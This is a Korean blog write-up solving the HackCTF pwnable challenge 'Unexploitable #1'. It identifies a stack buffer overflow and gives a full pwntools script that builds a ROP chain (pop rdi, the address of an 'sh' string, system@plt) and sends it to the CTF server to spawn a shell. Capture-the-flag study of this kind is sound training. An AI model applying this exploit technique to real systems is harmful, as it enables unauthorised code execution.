WAR GAME/HackCTF

[HackCTF : Pwnable] Unexploitable #1 풀이 (64bit, sh)

jir4vvit 2021. 4. 15. 17:02

문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

이제 sh 문자열만 보면 흥분할 것 같다

wish..

fish..

 


주어진 파일은 문제파일 바이너리

 

 

Analysis

일단 실행

system 함수의 plt를 가지고 있단다.

 

IDA

오호 정말 선물처럼 system함수가 있다.

 

main을 살펴보면 bof가 발생한다.

 

 

How to exploit

system 함수를 줘서 친절하게 /bin/sh 문자열도 어디 숨겨놨나~ 하고 찾아봤다.

 

sh 명령으로도 익스할 수 있다. (jiravvit.tistory.com/entry/HackingCamp-CTF-2021-pwn-Secure-Test-%ED%92%80%EC%9D%B4-%EC%96%B8%EC%9D%B8%ED%85%90?category=902325여기서 배웠따.)

 

저기서 sh만 가져와서... system함수의 인자로 주도록 하자.

Let's exploit

from pwn import *

#p = process('./Unexploitable_1')
p = remote('ctf.j0n9hyun.xyz', 3023)
e = ELF('./Unexploitable_1')
#libc = e.libc

print hex(e.plt['system'])

system = e.plt['system']
pop_rdi = 0x4007d3
sh = 0x4003BB+0x4

payload = ''
payload += 'a' * (0x10+0x8)
payload += p64(pop_rdi)
payload += p64(sh)
payload += p64(system)

p.recvuntil('\n')
p.sendline(payload)

p.interactive()